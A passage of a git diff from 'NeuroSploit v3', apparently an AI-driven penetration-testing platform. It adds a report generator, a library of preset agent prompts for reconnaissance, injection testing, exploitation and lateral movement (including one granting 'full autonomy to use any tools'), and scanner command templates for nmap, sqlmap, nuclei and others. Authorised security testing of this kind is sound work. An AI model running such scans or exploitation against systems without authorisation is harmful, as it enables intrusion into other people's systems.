+ +""" + return html + + def _generate_json( + self, + scan: Scan, + vulnerabilities: List[Vulnerability], + title: str, + executive_summary: str + ) -> str: + """Generate JSON report""" + report = { + "title": title, + "generated_at": datetime.now().isoformat(), + "scan": { + "id": scan.id, + "name": scan.name, + "status": scan.status, + "started_at": scan.started_at.isoformat() if scan.started_at else None, + "completed_at": scan.completed_at.isoformat() if scan.completed_at else None, + "total_endpoints": scan.total_endpoints, + "total_vulnerabilities": scan.total_vulnerabilities + }, + "summary": { + "executive_summary": executive_summary, + "severity_counts": { + "critical": scan.critical_count, + "high": scan.high_count, + "medium": scan.medium_count, + "low": scan.low_count, + "info": scan.info_count + } + }, + "vulnerabilities": [v.to_dict() for v in vulnerabilities] + } + return json.dumps(report, indent=2, default=str) + + def _escape_html(self, text: str) -> str: + """Escape HTML special characters""" + if not text: + return "" + return (text + .replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace('"', """) + .replace("'", "'")) diff --git a/backend/core/report_generator.py b/backend/core/report_generator.py new file mode 100644 index 0000000..c8e1d36 --- /dev/null +++ b/backend/core/report_generator.py @@ -0,0 +1,994 @@ +""" +NeuroSploit v3 - Professional HTML Report Generator +Generates beautiful, comprehensive security assessment reports +""" + +import json +from datetime import datetime +from typing import Dict, List, Any, Optional +from dataclasses import dataclass +import html +import base64 + + +@dataclass +class ReportConfig: + """Report generation configuration""" + company_name: str = "NeuroSploit Security" + logo_base64: Optional[str] = None + include_executive_summary: bool = True + include_methodology: bool = True + include_recommendations: bool = True + theme: str = "dark" # "dark" or "light" + + +class HTMLReportGenerator: + """Generate professional HTML security reports""" + + SEVERITY_COLORS = { + "critical": {"bg": "#dc2626", "text": "#ffffff", "border": "#991b1b"}, + "high": {"bg": "#ea580c", "text": "#ffffff", "border": "#c2410c"}, + "medium": {"bg": "#ca8a04", "text": "#ffffff", "border": "#a16207"}, + "low": {"bg": "#2563eb", "text": "#ffffff", "border": "#1d4ed8"}, + "info": {"bg": "#6b7280", "text": "#ffffff", "border": "#4b5563"} + } + + SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4} + + def __init__(self, config: Optional[ReportConfig] = None): + self.config = config or ReportConfig() + + def generate_report( + self, + session_data: Dict, + findings: List[Dict], + scan_results: Optional[List[Dict]] = None + ) -> str: + """Generate complete HTML report""" + + # Sort findings by severity + sorted_findings = sorted( + findings, + key=lambda x: self.SEVERITY_ORDER.get(x.get('severity', 'info'), 4) + ) + + # Calculate statistics + stats = self._calculate_stats(sorted_findings) + + # Generate report sections + html_content = f""" + + + + + Security Assessment Report - {html.escape(session_data.get('name', 'Unknown'))} + {self._get_styles()} + + +
+ {self._generate_header(session_data)} + {self._generate_executive_summary(session_data, stats, sorted_findings)} + {self._generate_scope_section(session_data)} + {self._generate_findings_summary(stats)} + {self._generate_findings_detail(sorted_findings)} + {self._generate_scan_results(scan_results) if scan_results else ''} + {self._generate_recommendations(sorted_findings)} + {self._generate_methodology()} + {self._generate_footer(session_data)} +
+ {self._get_scripts()} + +""" + + return html_content + + def _get_styles(self) -> str: + """Get CSS styles for the report""" + is_dark = self.config.theme == "dark" + + bg_color = "#0f172a" if is_dark else "#ffffff" + card_bg = "#1e293b" if is_dark else "#f8fafc" + text_color = "#e2e8f0" if is_dark else "#1e293b" + text_muted = "#94a3b8" if is_dark else "#64748b" + border_color = "#334155" if is_dark else "#e2e8f0" + accent = "#3b82f6" + + return f""" + """ + + def _get_scripts(self) -> str: + """Get JavaScript for interactivity""" + return """ + """ + + def _generate_header(self, session_data: Dict) -> str: + """Generate report header""" + target = session_data.get('target', 'Unknown Target') + name = session_data.get('name', 'Security Assessment') + created = session_data.get('created_at', datetime.utcnow().isoformat()) + + try: + created_dt = datetime.fromisoformat(created.replace('Z', '+00:00')) + created_str = created_dt.strftime('%B %d, %Y') + except: + created_str = created + + return f""" +
+

🛡️ Security Assessment Report

+

{html.escape(name)}

+
+
+ 🎯 + {html.escape(target)} +
+
+ 📅 + {created_str} +
+
+ 🔬 + NeuroSploit AI Scanner +
+
+
""" + + def _calculate_stats(self, findings: List[Dict]) -> Dict: + """Calculate finding statistics""" + stats = { + "total": len(findings), + "critical": 0, + "high": 0, + "medium": 0, + "low": 0, + "info": 0 + } + + for finding in findings: + severity = finding.get('severity', 'info').lower() + if severity in stats: + stats[severity] += 1 + + # Calculate risk score (0-100) + risk_score = ( + stats['critical'] * 25 + + stats['high'] * 15 + + stats['medium'] * 8 + + stats['low'] * 3 + + stats['info'] * 1 + ) + stats['risk_score'] = min(100, risk_score) + + # Risk level + if stats['risk_score'] >= 70 or stats['critical'] > 0: + stats['risk_level'] = 'HIGH' + stats['risk_class'] = 'risk-high' + elif stats['risk_score'] >= 40 or stats['high'] > 1: + stats['risk_level'] = 'MEDIUM' + stats['risk_class'] = 'risk-medium' + else: + stats['risk_level'] = 'LOW' + stats['risk_class'] = 'risk-low' + + return stats + + def _generate_executive_summary(self, session_data: Dict, stats: Dict, findings: List[Dict]) -> str: + """Generate executive summary section""" + target = session_data.get('target', 'the target') + + # Generate summary text based on findings + if stats['critical'] > 0: + summary = f"The security assessment of {html.escape(target)} revealed {stats['critical']} critical vulnerabilities that require immediate attention. These findings pose significant risk to the application's security posture and could lead to severe data breaches or system compromise." + elif stats['high'] > 0: + summary = f"The security assessment identified {stats['high']} high-severity issues that should be addressed promptly. While no critical vulnerabilities were found, the identified issues could be exploited by attackers to gain unauthorized access or compromise sensitive data." + elif stats['medium'] > 0: + summary = f"The assessment found {stats['medium']} medium-severity findings that represent moderate risk. These issues should be included in the remediation roadmap and addressed according to priority." + else: + summary = f"The security assessment completed with {stats['total']} findings, primarily informational in nature. The overall security posture appears reasonable, though continuous monitoring is recommended." + + return f""" +
+
+
📊
+

Executive Summary

+
+
+
+

{summary}

+
+
+
+

+ Overall Risk Score: {stats['risk_score']}/100 ({stats['risk_level']}) +

+
+
+
{stats['total']}
+
Total Findings
+
+
+
""" + + def _generate_scope_section(self, session_data: Dict) -> str: + """Generate scope section""" + target = session_data.get('target', 'Unknown') + recon = session_data.get('recon_data', {}) + technologies = recon.get('technologies', []) + endpoints = recon.get('endpoints', []) + + tech_html = "" + if technologies: + tech_html = f""" +
+

Detected Technologies

+
+ {"".join(f'{html.escape(t)}' for t in technologies[:15])} +
+
""" + + return f""" +
+
+
🎯
+

Assessment Scope

+
+ + + + + + + + + + + + + +
Target URL{html.escape(target)}
Endpoints Tested{len(endpoints)}
Assessment TypeAutomated Security Scan + AI Analysis
+ {tech_html} +
""" + + def _generate_findings_summary(self, stats: Dict) -> str: + """Generate findings summary with stats cards""" + return f""" +
+
+
📈
+

Findings Overview

+
+
+
+
{stats['critical']}
+
Critical
+
+
+
{stats['high']}
+
High
+
+
+
{stats['medium']}
+
Medium
+
+
+
{stats['low']}
+
Low
+
+
+
{stats['info']}
+
Info
+
+
+
{stats['total']}
+
Total
+
+
+
""" + + def _generate_findings_detail(self, findings: List[Dict]) -> str: + """Generate detailed findings section with CVSS, CWE, and OWASP data""" + if not findings: + return """ +
+
+
🔍
+

Detailed Findings

+
+

+ No vulnerabilities were identified during this assessment. +

+
""" + + findings_html = "" + for i, finding in enumerate(findings): + severity = finding.get('severity', 'info').lower() + colors = self.SEVERITY_COLORS.get(severity, self.SEVERITY_COLORS['info']) + + # Get CVSS, CWE, and OWASP data + cvss_score = finding.get('cvss_score', self._get_default_cvss(severity)) + cvss_vector = finding.get('cvss_vector', '') + cwe_id = finding.get('cwe_id', '') + owasp = finding.get('owasp', '') + + # Generate technical info section + tech_info_html = "" + if cvss_score or cwe_id or owasp: + tech_items = [] + if cvss_score: + cvss_color = self._get_cvss_color(cvss_score) + tech_items.append(f''' +
+
CVSS Score
+
+ {cvss_score} + {self._get_cvss_rating(cvss_score)} +
+ {f'
{html.escape(cvss_vector)}
' if cvss_vector else ''} +
''') + if cwe_id: + cwe_link = f"https://cwe.mitre.org/data/definitions/{cwe_id.replace('CWE-', '')}.html" if cwe_id.startswith('CWE-') else '#' + tech_items.append(f''' +
+
CWE Reference
+ + {html.escape(cwe_id)} + +
''') + if owasp: + tech_items.append(f''' +
+
OWASP Top 10
+ {html.escape(owasp)} +
''') + + tech_info_html = f''' +
+ {''.join(tech_items)} +
''' + + findings_html += f""" +
+
+ + {severity.upper()} + + {html.escape(finding.get('title', 'Unknown'))} + {html.escape(finding.get('affected_endpoint', ''))} + ▼ +
+
+ {tech_info_html} +
+

Vulnerability Type

+

{html.escape(finding.get('vulnerability_type', 'Unknown'))}

+
+
+

Description

+

{html.escape(finding.get('description', 'No description available'))}

+
+ {f'''
+

Affected Endpoint

+
{html.escape(finding.get('affected_endpoint', ''))}
+
''' if finding.get('affected_endpoint') else ''} + {f'''
+

Evidence / Proof of Concept

+
{html.escape(finding.get('evidence', ''))}
+
''' if finding.get('evidence') else ''} + {f'''
+

Impact

+

{html.escape(finding.get('impact', ''))}

+
''' if finding.get('impact') else ''} +
+

Remediation

+
{html.escape(finding.get('remediation', 'Review and address this finding'))}
+
+ {self._generate_references_html(finding.get('references', []))} +
+
""" + + return f""" +
+
+
🔍
+

Detailed Findings

+
+ + +
+
+ {findings_html} +
""" + + def _get_default_cvss(self, severity: str) -> float: + """Get default CVSS score based on severity""" + defaults = { + 'critical': 9.5, + 'high': 7.5, + 'medium': 5.0, + 'low': 3.0, + 'info': 0.0 + } + return defaults.get(severity.lower(), 5.0) + + def _get_cvss_color(self, score: float) -> str: + """Get color based on CVSS score""" + if score >= 9.0: + return '#dc2626' # Critical - Red + elif score >= 7.0: + return '#ea580c' # High - Orange + elif score >= 4.0: + return '#ca8a04' # Medium - Yellow + elif score > 0: + return '#2563eb' # Low - Blue + else: + return '#6b7280' # Info - Gray + + def _get_cvss_rating(self, score: float) -> str: + """Get CVSS rating text""" + if score >= 9.0: + return 'Critical' + elif score >= 7.0: + return 'High' + elif score >= 4.0: + return 'Medium' + elif score > 0: + return 'Low' + else: + return 'None' + + def _generate_references_html(self, references: List[str]) -> str: + """Generate references section HTML""" + if not references: + return '' + + refs_html = '' + for ref in references[:5]: # Limit to 5 references + if ref.startswith('http'): + refs_html += f'
  • {html.escape(ref[:60])}{"..." if len(ref) > 60 else ""}
    • ' + else: + refs_html += f'
  • {html.escape(ref)}
    • ' + + return f''' +
    +

    References

    +
      + {refs_html} +
    +
    ''' + + def _generate_scan_results(self, scan_results: List[Dict]) -> str: + """Generate tool scan results section""" + if not scan_results: + return "" + + results_html = "" + for result in scan_results: + tool = result.get('tool', 'Unknown') + status = result.get('status', 'unknown') + output = result.get('output', '')[:2000] # Limit output size + + status_color = "#22c55e" if status == "completed" else "#ef4444" + + results_html += f""" +
    +
    + {html.escape(tool)} + {status} +
    +
    +{html.escape(output)} +
    +
    """ + + return f""" +
    +
    +
    🔧
    +

    Tool Scan Results

    +
    + {results_html} +
    """ + + def _generate_recommendations(self, findings: List[Dict]) -> str: + """Generate prioritized recommendations""" + recommendations = [] + + # Group findings by severity + critical = [f for f in findings if f.get('severity') == 'critical'] + high = [f for f in findings if f.get('severity') == 'high'] + medium = [f for f in findings if f.get('severity') == 'medium'] + + if critical: + recommendations.append({ + "priority": "Immediate", + "color": "#dc2626", + "items": [f"Fix: {f.get('title', 'Unknown')} - {f.get('remediation', 'Review and fix')}" for f in critical] + }) + + if high: + recommendations.append({ + "priority": "Short-term (1-2 weeks)", + "color": "#ea580c", + "items": [f"Address: {f.get('title', 'Unknown')}" for f in high] + }) + + if medium: + recommendations.append({ + "priority": "Medium-term (1 month)", + "color": "#ca8a04", + "items": [f"Plan fix for: {f.get('title', 'Unknown')}" for f in medium[:5]] + }) + + # Always add general recommendations + recommendations.append({ + "priority": "Ongoing", + "color": "#3b82f6", + "items": [ + "Implement regular security scanning", + "Keep all software and dependencies updated", + "Review and strengthen authentication mechanisms", + "Implement proper logging and monitoring", + "Conduct periodic penetration testing" + ] + }) + + rec_html = "" + for rec in recommendations: + items_html = "".join(f"
  • {html.escape(item)}
    • " for item in rec['items']) + rec_html += f""" +
    +

    + + {rec['priority']} +

    +
      + {items_html} +
    +
    """ + + return f""" +
    +
    +
    ✅
    +

    Recommendations

    +
    + {rec_html} +
    """ + + def _generate_methodology(self) -> str: + """Generate methodology section""" + return """ +
    +
    +
    📋
    +

    Methodology

    +
    +
    +
    +

    1. Reconnaissance

    +

    Technology fingerprinting, endpoint discovery, and information gathering

    +
    +
    +

    2. Vulnerability Scanning

    +

    Automated scanning for known vulnerabilities and misconfigurations

    +
    +
    +

    3. AI Analysis

    +

    LLM-powered analysis of findings for context and remediation

    +
    +
    +

    4. Verification

    +

    Manual verification of critical findings to eliminate false positives

    +
    +
    +
    """ + + def _generate_footer(self, session_data: Dict) -> str: + """Generate report footer""" + return f""" +
    + +

    AI-Powered Security Assessment Platform

    +

    + Report generated on {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S UTC')} +

    +

    + This report contains confidential security information. Handle with care. +

    +
    """ diff --git a/backend/core/task_library.py b/backend/core/task_library.py new file mode 100644 index 0000000..48c2679 --- /dev/null +++ b/backend/core/task_library.py @@ -0,0 +1,500 @@ +""" +NeuroSploit v3 - Task/Prompt Library System + +Manage reusable tasks and prompts for the AI Agent. +- Create, save, edit, delete tasks +- Preset tasks for common scenarios +- Custom task builder +""" + +import json +import os +from datetime import datetime +from pathlib import Path +from typing import Dict, List, Optional, Any +from dataclasses import dataclass, asdict +from enum import Enum + + +class TaskCategory(Enum): + """Task categories""" + RECON = "recon" + VULNERABILITY = "vulnerability" + EXPLOITATION = "exploitation" + REPORTING = "reporting" + CUSTOM = "custom" + FULL_AUTO = "full_auto" + + +@dataclass +class Task: + """A reusable task/prompt""" + id: str + name: str + description: str + category: str + prompt: str + system_prompt: Optional[str] = None + tools_required: List[str] = None + estimated_tokens: int = 0 + created_at: str = "" + updated_at: str = "" + author: str = "user" + tags: List[str] = None + is_preset: bool = False + + def __post_init__(self): + if not self.created_at: + self.created_at = datetime.utcnow().isoformat() + if not self.updated_at: + self.updated_at = self.created_at + if self.tools_required is None: + self.tools_required = [] + if self.tags is None: + self.tags = [] + + +class TaskLibrary: + """Manage the task/prompt library""" + + def __init__(self, library_path: str = "prompts/task_library.json"): + self.library_path = Path(library_path) + self.library_path.parent.mkdir(parents=True, exist_ok=True) + self.tasks: Dict[str, Task] = {} + self._load_library() + self._ensure_presets() + + def _load_library(self): + """Load tasks from library file""" + if self.library_path.exists(): + try: + with open(self.library_path, 'r') as f: + data = json.load(f) + for task_data in data.get("tasks", []): + task = Task(**task_data) + self.tasks[task.id] = task + except Exception as e: + print(f"Error loading task library: {e}") + + def _save_library(self): + """Save tasks to library file""" + data = { + "version": "1.0", + "updated_at": datetime.utcnow().isoformat(), + "tasks": [asdict(task) for task in self.tasks.values()] + } + with open(self.library_path, 'w') as f: + json.dump(data, f, indent=2) + + def _ensure_presets(self): + """Ensure preset tasks exist""" + presets = self._get_preset_tasks() + for preset in presets: + if preset.id not in self.tasks: + self.tasks[preset.id] = preset + self._save_library() + + def _get_preset_tasks(self) -> List[Task]: + """Get all preset tasks""" + return [ + # === RECON TASKS === + Task( + id="recon_full", + name="Full Reconnaissance", + description="Complete reconnaissance: subdomains, ports, technologies, endpoints", + category=TaskCategory.RECON.value, + prompt="""Perform comprehensive reconnaissance on the target: + +1. **Subdomain Enumeration**: Find all subdomains +2. **Port Scanning**: Identify open ports and services +3. **Technology Detection**: Fingerprint web technologies, frameworks, servers +4. **Endpoint Discovery**: Crawl and find all accessible endpoints +5. **Parameter Discovery**: Find URL parameters and form inputs +6. **JavaScript Analysis**: Extract endpoints from JS files +7. **API Discovery**: Find API endpoints and documentation + +Consolidate all findings into a structured report.""", + system_prompt="You are a reconnaissance expert. Gather information systematically and thoroughly.", + tools_required=["subfinder", "httpx", "nmap", "katana", "gau"], + estimated_tokens=2000, + tags=["recon", "discovery", "enumeration"], + is_preset=True + ), + Task( + id="recon_passive", + name="Passive Reconnaissance", + description="Non-intrusive reconnaissance using public data only", + category=TaskCategory.RECON.value, + prompt="""Perform PASSIVE reconnaissance only (no direct interaction with target): + +1. **OSINT**: Search for public information +2. **DNS Records**: Enumerate DNS records +3. **Historical Data**: Check Wayback Machine, archive.org +4. **Certificate Transparency**: Find subdomains from CT logs +5. **Google Dorking**: Search for exposed files/information +6. **Social Media**: Find related accounts and information + +Do NOT send any requests directly to the target.""", + system_prompt="You are an OSINT expert. Only use passive techniques.", + tools_required=["subfinder", "gau", "waybackurls"], + estimated_tokens=1500, + tags=["recon", "passive", "osint"], + is_preset=True + ), + + # === VULNERABILITY TASKS === + Task( + id="vuln_owasp_top10", + name="OWASP Top 10 Assessment", + description="Test for OWASP Top 10 vulnerabilities", + category=TaskCategory.VULNERABILITY.value, + prompt="""Test the target for OWASP Top 10 vulnerabilities: + +1. **A01 - Broken Access Control**: Test for IDOR, privilege escalation +2. **A02 - Cryptographic Failures**: Check for weak crypto, exposed secrets +3. **A03 - Injection**: Test SQL, NoSQL, OS, LDAP injection +4. **A04 - Insecure Design**: Analyze business logic flaws +5. **A05 - Security Misconfiguration**: Check headers, default configs +6. **A06 - Vulnerable Components**: Identify outdated libraries +7. **A07 - Authentication Failures**: Test auth bypass, weak passwords +8. **A08 - Data Integrity Failures**: Check for insecure deserialization +9. **A09 - Security Logging Failures**: Test for logging gaps +10. **A10 - SSRF**: Test for server-side request forgery + +For each finding: +- Provide CVSS score and calculation +- Detailed description +- Proof of Concept +- Remediation recommendation""", + system_prompt="You are a web security expert specializing in OWASP vulnerabilities.", + tools_required=["nuclei", "sqlmap", "xsstrike"], + estimated_tokens=5000, + tags=["vulnerability", "owasp", "web"], + is_preset=True + ), + Task( + id="vuln_api_security", + name="API Security Testing", + description="Test API endpoints for security issues", + category=TaskCategory.VULNERABILITY.value, + prompt="""Test the API for security vulnerabilities: + +1. **Authentication**: Test JWT, OAuth, API keys +2. **Authorization**: Check for BOLA, BFLA, broken object level auth +3. **Rate Limiting**: Test for missing rate limits +4. **Input Validation**: Injection attacks on API params +5. **Data Exposure**: Check for excessive data exposure +6. **Mass Assignment**: Test for mass assignment vulnerabilities +7. **Security Misconfiguration**: CORS, headers, error handling +8. **Injection**: GraphQL, SQL, NoSQL injection + +For each finding provide CVSS, PoC, and remediation.""", + system_prompt="You are an API security expert.", + tools_required=["nuclei", "ffuf"], + estimated_tokens=4000, + tags=["vulnerability", "api", "rest", "graphql"], + is_preset=True + ), + Task( + id="vuln_injection", + name="Injection Testing", + description="Comprehensive injection vulnerability testing", + category=TaskCategory.VULNERABILITY.value, + prompt="""Test all input points for injection vulnerabilities: + +1. **SQL Injection**: Error-based, union, blind, time-based +2. **NoSQL Injection**: MongoDB, CouchDB injections +3. **Command Injection**: OS command execution +4. **LDAP Injection**: Directory service injection +5. **XPath Injection**: XML path injection +6. **Template Injection (SSTI)**: Jinja2, Twig, Freemarker +7. **Header Injection**: Host header, CRLF injection +8. **Email Header Injection**: SMTP injection + +Test ALL parameters: URL, POST body, headers, cookies. +Provide working PoC for each finding.""", + system_prompt="You are an injection attack specialist. Test thoroughly but safely.", + tools_required=["sqlmap", "commix"], + estimated_tokens=4000, + tags=["vulnerability", "injection", "sqli", "rce"], + is_preset=True + ), + + # === FULL AUTO TASKS === + Task( + id="full_bug_bounty", + name="Bug Bounty Hunter Mode", + description="Full automated bug bounty workflow: recon -> analyze -> test -> report", + category=TaskCategory.FULL_AUTO.value, + prompt="""Execute complete bug bounty workflow: + +## PHASE 1: RECONNAISSANCE +- Enumerate all subdomains and assets +- Probe for live hosts +- Discover all endpoints +- Identify technologies and frameworks + +## PHASE 2: ANALYSIS +- Analyze attack surface +- Identify high-value targets +- Map authentication flows +- Document API endpoints + +## PHASE 3: VULNERABILITY TESTING +- Test for critical vulnerabilities first (RCE, SQLi, Auth Bypass) +- Test for high severity (XSS, SSRF, IDOR) +- Test for medium/low (Info disclosure, misconfigs) + +## PHASE 4: EXPLOITATION +- Develop PoC for confirmed vulnerabilities +- Calculate CVSS scores +- Document impact and risk + +## PHASE 5: REPORTING +- Generate professional report +- Include all findings with evidence +- Provide remediation steps + +Focus on impact. Prioritize critical findings.""", + system_prompt="""You are an elite bug bounty hunter. Your goal is to find real, impactful vulnerabilities. +Be thorough but efficient. Focus on high-severity issues first. +Every finding must have: Evidence, CVSS, Impact, PoC, Remediation.""", + tools_required=["subfinder", "httpx", "nuclei", "katana", "sqlmap"], + estimated_tokens=10000, + tags=["full", "bug_bounty", "automated"], + is_preset=True + ), + Task( + id="full_pentest", + name="Full Penetration Test", + description="Complete penetration test workflow", + category=TaskCategory.FULL_AUTO.value, + prompt="""Execute comprehensive penetration test: + +## PHASE 1: INFORMATION GATHERING +- Passive reconnaissance +- Active reconnaissance +- Network mapping +- Service enumeration + +## PHASE 2: VULNERABILITY ANALYSIS +- Automated scanning +- Manual testing +- Business logic analysis +- Configuration review + +## PHASE 3: EXPLOITATION +- Exploit confirmed vulnerabilities +- Post-exploitation (if authorized) +- Privilege escalation attempts +- Lateral movement (if authorized) + +## PHASE 4: DOCUMENTATION +- Document all findings +- Calculate CVSS 3.1 scores +- Create proof of concepts +- Write remediation recommendations + +## PHASE 5: REPORTING +- Executive summary +- Technical findings +- Risk assessment +- Remediation roadmap + +This is a full penetration test. Be thorough and professional.""", + system_prompt="""You are a professional penetration tester conducting an authorized security assessment. +Document everything. Be thorough. Follow methodology. +All findings must include: Title, CVSS, Description, Evidence, Impact, Remediation.""", + tools_required=["nmap", "nuclei", "sqlmap", "nikto", "ffuf"], + estimated_tokens=15000, + tags=["full", "pentest", "professional"], + is_preset=True + ), + + # === CUSTOM/FLEXIBLE TASKS === + Task( + id="custom_prompt", + name="Custom Prompt (Full AI Mode)", + description="Execute any custom prompt - AI decides what tools to use", + category=TaskCategory.CUSTOM.value, + prompt="""[USER_PROMPT_HERE] + +Analyze this request and: +1. Determine what information/tools are needed +2. Plan the approach +3. Execute the necessary tests +4. Analyze results +5. Report findings + +You have full autonomy to use any tools and techniques needed.""", + system_prompt="""You are an autonomous AI security agent. +Analyze the user's request and execute it completely. +You can use any tools available. Be creative and thorough. +If the task requires testing, test. If it requires analysis, analyze. +Always provide detailed results with evidence.""", + tools_required=[], + estimated_tokens=5000, + tags=["custom", "flexible", "ai"], + is_preset=True + ), + Task( + id="analyze_only", + name="Analysis Only (No Testing)", + description="AI analysis without active testing - uses provided data", + category=TaskCategory.CUSTOM.value, + prompt="""Analyze the provided data/context WITHOUT performing active tests: + +1. Review all provided information +2. Identify potential security issues +3. Assess risk levels +4. Provide recommendations + +Do NOT send any requests to the target. +Base your analysis only on provided data.""", + system_prompt="You are a security analyst. Analyze provided data without active testing.", + tools_required=[], + estimated_tokens=2000, + tags=["analysis", "passive", "review"], + is_preset=True + ), + + # === REPORTING TASKS === + Task( + id="report_executive", + name="Executive Summary Report", + description="Generate executive-level security report", + category=TaskCategory.REPORTING.value, + prompt="""Generate an executive summary report from the findings: + +1. **Executive Summary**: High-level overview for management +2. **Risk Assessment**: Overall security posture rating +3. **Key Findings**: Top critical/high findings only +4. **Business Impact**: How vulnerabilities affect the business +5. **Recommendations**: Prioritized remediation roadmap +6. **Metrics**: Charts and statistics + +Keep it concise and business-focused. Avoid technical jargon.""", + system_prompt="You are a security consultant writing for executives.", + tools_required=[], + estimated_tokens=2000, + tags=["reporting", "executive", "summary"], + is_preset=True + ), + Task( + id="report_technical", + name="Technical Security Report", + description="Generate detailed technical security report", + category=TaskCategory.REPORTING.value, + prompt="""Generate a detailed technical security report: + +For each vulnerability include: +1. **Title**: Clear, descriptive title +2. **Severity**: Critical/High/Medium/Low/Info +3. **CVSS Score**: Calculate CVSS 3.1 score with vector +4. **CWE ID**: Relevant CWE classification +5. **Description**: Detailed technical explanation +6. **Affected Component**: Endpoint, parameter, function +7. **Proof of Concept**: Working PoC code/steps +8. **Evidence**: Screenshots, requests, responses +9. **Impact**: What an attacker could achieve +10. **Remediation**: Specific fix recommendations +11. **References**: OWASP, CWE, vendor docs + +Be thorough and technical.""", + system_prompt="You are a senior security engineer writing a technical report.", + tools_required=[], + estimated_tokens=3000, + tags=["reporting", "technical", "detailed"], + is_preset=True + ), + ] + + def create_task(self, task: Task) -> Task: + """Create a new task""" + if not task.id: + task.id = f"custom_{datetime.utcnow().strftime('%Y%m%d_%H%M%S')}" + task.created_at = datetime.utcnow().isoformat() + task.updated_at = task.created_at + self.tasks[task.id] = task + self._save_library() + return task + + def update_task(self, task_id: str, updates: Dict) -> Optional[Task]: + """Update an existing task""" + if task_id not in self.tasks: + return None + task = self.tasks[task_id] + for key, value in updates.items(): + if hasattr(task, key): + setattr(task, key, value) + task.updated_at = datetime.utcnow().isoformat() + self._save_library() + return task + + def delete_task(self, task_id: str) -> bool: + """Delete a task (cannot delete presets)""" + if task_id not in self.tasks: + return False + if self.tasks[task_id].is_preset: + return False # Cannot delete presets + del self.tasks[task_id] + self._save_library() + return True + + def get_task(self, task_id: str) -> Optional[Task]: + """Get a task by ID""" + return self.tasks.get(task_id) + + def list_tasks(self, category: Optional[str] = None) -> List[Task]: + """List all tasks, optionally filtered by category""" + tasks = list(self.tasks.values()) + if category: + tasks = [t for t in tasks if t.category == category] + return sorted(tasks, key=lambda t: (not t.is_preset, t.name)) + + def search_tasks(self, query: str) -> List[Task]: + """Search tasks by name, description, or tags""" + query = query.lower() + results = [] + for task in self.tasks.values(): + if (query in task.name.lower() or + query in task.description.lower() or + any(query in tag.lower() for tag in task.tags)): + results.append(task) + return results + + def get_categories(self) -> List[str]: + """Get all task categories""" + return [c.value for c in TaskCategory] + + def export_task(self, task_id: str, filepath: str) -> bool: + """Export a task to a file""" + task = self.get_task(task_id) + if not task: + return False + with open(filepath, 'w') as f: + json.dump(asdict(task), f, indent=2) + return True + + def import_task(self, filepath: str) -> Optional[Task]: + """Import a task from a file""" + try: + with open(filepath, 'r') as f: + data = json.load(f) + task = Task(**data) + task.is_preset = False # Imported tasks are not presets + return self.create_task(task) + except Exception as e: + print(f"Error importing task: {e}") + return None + + +# Singleton instance +_library_instance = None + +def get_task_library() -> TaskLibrary: + """Get the singleton task library instance""" + global _library_instance + if _library_instance is None: + _library_instance = TaskLibrary() + return _library_instance diff --git a/backend/core/tool_executor.py b/backend/core/tool_executor.py new file mode 100644 index 0000000..f618967 --- /dev/null +++ b/backend/core/tool_executor.py @@ -0,0 +1,764 @@ +""" +NeuroSploit v3 - Docker Tool Executor +Executes security tools in isolated Docker containers +""" + +import asyncio +import docker +import json +import os +import re +import tempfile +import uuid +from datetime import datetime +from typing import Dict, List, Optional, Any, Tuple +from dataclasses import dataclass, field +from enum import Enum +import logging + +logger = logging.getLogger(__name__) + + +class ToolStatus(Enum): + PENDING = "pending" + RUNNING = "running" + COMPLETED = "completed" + FAILED = "failed" + TIMEOUT = "timeout" + + +@dataclass +class ToolResult: + """Result from a tool execution""" + tool: str + command: str + status: ToolStatus + output: str + error: str = "" + findings: List[Dict] = field(default_factory=list) + duration_seconds: float = 0 + started_at: str = "" + completed_at: str = "" + + +class SecurityTool: + """Definition of a security tool""" + + TOOLS = { + "dirb": { + "name": "Dirb", + "description": "Web content scanner", + "command": "dirb {target} /opt/wordlists/common.txt -o /opt/output/dirb.txt -w", + "output_file": "/opt/output/dirb.txt", + "parser": "parse_dirb_output" + }, + "feroxbuster": { + "name": "Feroxbuster", + "description": "Fast content discovery tool", + "command": "feroxbuster -u {target} -w /opt/wordlists/common.txt -o /opt/output/ferox.txt --json -q", + "output_file": "/opt/output/ferox.txt", + "parser": "parse_feroxbuster_output" + }, + "ffuf": { + "name": "FFUF", + "description": "Fast web fuzzer", + "command": "ffuf -u {target}/FUZZ -w /opt/wordlists/common.txt -o /opt/output/ffuf.json -of json -mc 200,204,301,302,307,401,403", + "output_file": "/opt/output/ffuf.json", + "parser": "parse_ffuf_output" + }, + "gobuster": { + "name": "Gobuster", + "description": "Directory/file brute-forcer", + "command": "gobuster dir -u {target} -w /opt/wordlists/common.txt -o /opt/output/gobuster.txt -q", + "output_file": "/opt/output/gobuster.txt", + "parser": "parse_gobuster_output" + }, + "nmap": { + "name": "Nmap", + "description": "Network scanner", + "command": "nmap -sV -sC -oN /opt/output/nmap.txt {host}", + "output_file": "/opt/output/nmap.txt", + "parser": "parse_nmap_output" + }, + "nuclei": { + "name": "Nuclei", + "description": "Vulnerability scanner", + "command": "nuclei -u {target} -o /opt/output/nuclei.txt -jsonl", + "output_file": "/opt/output/nuclei.txt", + "parser": "parse_nuclei_output" + }, + "nikto": { + "name": "Nikto", + "description": "Web server scanner", + "command": "nikto -h {target} -o /opt/output/nikto.txt -Format txt", + "output_file": "/opt/output/nikto.txt", + "parser": "parse_nikto_output" + }, + "sqlmap": { + "name": "SQLMap", + "description": "SQL injection scanner", + "command": "sqlmap -u {target} --batch --output-dir=/opt/output/sqlmap", + "output_file": "/opt/output/sqlmap", + "parser": "parse_sqlmap_output" + }, + "whatweb": { + "name": "WhatWeb", + "description": "Web technology fingerprinting", + "command": "whatweb {target} -a 3 --log-json=/opt/output/whatweb.json", + "output_file": "/opt/output/whatweb.json", + "parser": "parse_whatweb_output" + }, + "httpx": { + "name": "HTTPX", + "description": "HTTP toolkit", + "command": "echo {target} | httpx -silent -json -o /opt/output/httpx.json -title -tech-detect -status-code", + "output_file": "/opt/output/httpx.json", + "parser": "parse_httpx_output" + }, + "katana": { + "name": "Katana", + "description": "Web crawler", + "command": "katana -u {target} -o /opt/output/katana.txt -jc -d 3", + "output_file": "/opt/output/katana.txt", + "parser": "parse_katana_output" + }, + "subfinder": { + "name": "Subfinder", + "description": "Subdomain discovery", + "command": "subfinder -d {domain} -o /opt/output/subfinder.txt -silent", + "output_file": "/opt/output/subfinder.txt", 